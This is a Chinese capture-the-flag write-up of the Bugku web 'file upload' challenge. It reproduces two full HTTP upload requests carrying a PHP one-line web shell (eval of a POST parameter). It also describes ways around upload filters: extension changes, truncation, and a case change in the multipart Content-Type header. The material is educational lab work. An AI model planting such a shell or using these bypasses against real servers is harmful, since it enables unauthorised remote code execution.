bugku-web-文件上传

news2024/10/5 19:15:51

提示他的名字是margin，给他一个图片文件，不要php文件

上传一句话木马的图片

抓包，后缀改为php

提示无效文件，即后台还会检测一次后缀
测试后台系统
为linux系统

开始绕过
截断绕过

上传成功，但是会变为jpg

开始分析报文
木马图片报文

POST /index.php HTTP/1.1
Host: 114.67.175.224:11895
Content-Length: 319
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://114.67.175.224:11895
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX2F8o0V31B8bZ2Zn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://114.67.175.224:11895/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_c1b044f909411ac4213045f0478e96fc=1711286763; _ga=GA1.1.52075818.1711286767; _ga_F3VRZT58SJ=GS1.1.1711288951.2.1.1711290145.0.0.0
Connection: close

------WebKitFormBoundaryX2F8o0V31B8bZ2Zn
Content-Disposition: form-data; name="file"; filename="look.jpg"
Content-Type: image/jpeg

<?php phpinfo();eval($_POST['cmd']);?>
------WebKitFormBoundaryX2F8o0V31B8bZ2Zn
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundaryX2F8o0V31B8bZ2Zn--

木马php文件报文

POST /index.php HTTP/1.1
Host: 114.67.175.224:11895
Content-Length: 333
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://114.67.175.224:11895
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNpcrwyqI789or19t
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://114.67.175.224:11895/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_c1b044f909411ac4213045f0478e96fc=1711286763; _ga=GA1.1.52075818.1711286767; _ga_F3VRZT58SJ=GS1.1.1711288951.2.1.1711290145.0.0.0
Connection: close

------WebKitFormBoundaryNpcrwyqI789or19t
Content-Disposition: form-data; name="file"; filename="look.php"
Content-Type: application/octet-stream

<?php phpinfo();eval($_POST['cmd']);?>
------WebKitFormBoundaryNpcrwyqI789or19t
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundaryNpcrwyqI789or19t--

对比两者报文，发现Content-Type不同
但是改完后还是不行

这里看完评论区后得到要将报文头部的
Content-Type: multipart/form-data;
其中multipart/form-data中的任意字母大写，从而绕过后台
但是没有源码怎么能知道呢？
这题这里就出现了bug。。。。